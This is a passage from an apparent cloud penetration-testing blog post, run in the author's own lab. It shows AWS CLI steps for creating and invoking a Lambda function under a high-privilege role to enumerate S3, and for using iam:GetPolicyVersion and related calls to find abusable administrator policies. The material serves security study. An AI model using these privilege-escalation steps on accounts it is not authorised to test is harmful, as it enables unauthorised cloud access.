class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Compress the code. Any method is fine as long as it produces the archive.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip &lt;span class="k"&gt;function&lt;/span&gt;.zip lambda_function.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Create the function.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name testLambda &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --runtime python3.9 &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --role arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;HIGH_PRIV_ROLE&amp;gt; &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --handler lambda_function.lambda_handler &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;HIGH_PRIV_ROLE&amp;gt; --handler lambda_function.lambda_handler --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was a small detour here. Yesterday, I tried for a long time and kept failing (it worked today), with an error claiming something was wrong with the token. While asking GPT, I analyzed it myself too. The explanation that best matched my situation was that old temporary STS credentials were still being used. If your AWS CLI previously used expired or underprivileged temporary STS credentials, the CLI will keep using the old Token even after you change the IAM role&amp;rsquo;s permissions in the AWS console, causing permission problems. I used many temporary STS credentials during testing. After noticing the problem, I granted the permissions again, but I kept getting the following error.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;An error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Today, the configured token—which was valid for one hour—had probably expired and been discarded. Everything returned to normal after I generated a new key and token. GPT also suggested the following fix, which I did not use yesterday.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You can give it a try. In any case, it worked today, and the upload succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems. We can test it in the web interface to see whether it runs, while also using AWSCLI to verify whether it can access S3.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda invoke --function-name testLambda --payload &lt;span class="s2"&gt;&amp;#34;{\&amp;#34;key1\&amp;#34;: \&amp;#34;value1\&amp;#34;, \&amp;#34;key2\&amp;#34;: \&amp;#34;value2\&amp;#34;}&amp;#34;&lt;/span&gt; response.json --cli-binary-format raw-in-base64-out&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems. It did indeed enumerate the resources, completing the attack chain.&lt;/p&gt;&#10;&lt;h4 id="additional-notes-1"&gt;&lt;a href="#additional-notes-1" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;The key exploitation chain should be clear now, but there is one more especially important point: Lambda functions support multiple languages.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If you are comfortable with one of these languages, you will notice that it imports a library when you inspect it. python, for example, has the boto3 library. Obviously, accessing resources is generally done through calls made with boto3. The code above can only access S3 and does nothing else, so I will eventually need to learn how to write Lambda code—in other words, learn the boto3 library. That topic needs a separate section of its own later. For now, this reproduction is complete, so I will stop here.&lt;/p&gt;&#10;&lt;h3 id="reading-policies-with-iamgetpolicyversion"&gt;&lt;a href="#reading-policies-with-iamgetpolicyversion" class="header-anchor"&gt;&lt;/a&gt;Reading Policies with iam:GetPolicyVersion&#10;&lt;/h3&gt;&lt;h4 id="theory-2"&gt;&lt;a href="#theory-2" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;If you can call&lt;/strong&gt; &lt;code&gt;iam:GetPolicyVersion&lt;/code&gt;, you can inspect every permission in a policy and may uncover highly privileged policies that can be abused. The previous two techniques both involved abusable high-privilege policies; here, the main point is simply to read those policies and inspect them. What matters is knowing how to analyze and retrieve them. The logic here may be a little questionable. The idea is that you find a policy attached to a role, and that role is under your control. (I tested this as a user and couldn&amp;rsquo;t query it.)&lt;/p&gt;&#10;&lt;h4 id="lab-setup-2"&gt;&lt;a href="#lab-setup-2" class="header-anchor"&gt;&lt;/a&gt;Lab Setup&#10;&lt;/h4&gt;&lt;p&gt;You can reuse the environments from the previous two sections. As for the &lt;code&gt;iam:GetPolicyVersion&lt;/code&gt; permission we need, you can try creating it yourself. The main permissions required are these:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam list-policies &lt;span class="o"&gt;(&lt;/span&gt;list all managed policies in the account&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam get-policy &lt;span class="o"&gt;(&lt;/span&gt;query the default version of a policy&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam GetPolicyVersion &lt;span class="o"&gt;(&lt;/span&gt;most important&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; the policy details&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ll just test this directly with an administrator account.&lt;/p&gt;&#10;&lt;h5 id="listing-all-managed-policies-in-the-account"&gt;&lt;a href="#listing-all-managed-policies-in-the-account" class="header-anchor"&gt;&lt;/a&gt;Listing All Managed Policies in the Account&#10;&lt;/h5&gt;&lt;p&gt;Goal: Find every &lt;code&gt;Managed Policy&lt;/code&gt; in the AWS account.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-policies --query &amp;#34;Policies[*].{PolicyName:PolicyName, Arn:Arn}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AdministratorAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;S3FullAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/S3FullAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This shows every policy in the current AWS account, including:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Highly privileged policies&lt;/strong&gt; (such as &lt;code&gt;AdministratorAccess&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Potentially abusable policies&lt;/strong&gt; (those granting permissions such as &lt;code&gt;PassRole&lt;/code&gt; or &lt;code&gt;CreateUser&lt;/code&gt;)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="querying-a-policys-default-version"&gt;&lt;a href="#querying-a-policys-default-version" class="header-anchor"&gt;&lt;/a&gt;Querying a Policy&amp;rsquo;s &lt;code&gt;Default Version&lt;/code&gt;&#10;&lt;/h5&gt;&lt;p&gt;Goal: Find a policy&amp;rsquo;s &lt;code&gt;VersionId&lt;/code&gt;, then use &lt;code&gt;GetPolicyVersion&lt;/code&gt; to retrieve its exact permissions.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Policy&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DefaultVersionId&amp;#34;: &amp;#34;v1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachmentCount&amp;#34;: 10,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PermissionsBoundaryUsageCount&amp;#34;: 0,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;IsAttachable&amp;#34;: true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Key point:&lt;/strong&gt; &lt;code&gt;DefaultVersionId&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; &lt;code&gt;v1&lt;/code&gt;. This &lt;code&gt;v1&lt;/code&gt; is the policy version currently in effect.&lt;/p&gt;&#10;&lt;h5 id="reading-the-full-policy-document"&gt;&lt;a href="#reading-the-full-policy-document" class="header-anchor"&gt;&lt;/a&gt;Reading the Full Policy Document&#10;&lt;/h5&gt;&lt;p&gt;Goal: Use &lt;code&gt;iam:GetPolicyVersion&lt;/code&gt; to read the policy permissions and look for permissions that can be abused.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyVersion&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Document&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VersionId&amp;#34;: &amp;#34;v1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;IsDefaultVersion&amp;#34;: true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; &lt;code&gt;Action: &amp;quot;*&amp;quot;&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;Resource: &amp;quot;*&amp;quot;&lt;/code&gt; &lt;strong&gt;are present, this is an&lt;/strong&gt; &lt;code&gt;AdministratorAccess&lt;/code&gt; &lt;strong&gt;policy, which provides full control over the AWS account&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;Run through the entire process above, because things get a little more complicated later. The theory section already covered this: the technique is mainly useful &lt;strong&gt;after you know which policy is attached to a role you control. If you don&amp;rsquo;t know which policies are attached to your controllable roles, querying this is completely useless.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Next, let&amp;rsquo;s introduce six important permissions that work with iam:GetPolicyVersion.&lt;/p&gt;&#10;&lt;h5 id="querying-policies-attached-to-a-user"&gt;&lt;a href="#querying-policies-attached-to-a-user" class="header-anchor"&gt;&lt;/a&gt;Querying Policies Attached to a User&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Managed policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name &amp;lt;USERNAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListAttachedUserPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Example output&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachedPolicies&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdminPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:policy/AdminPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Inline policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name 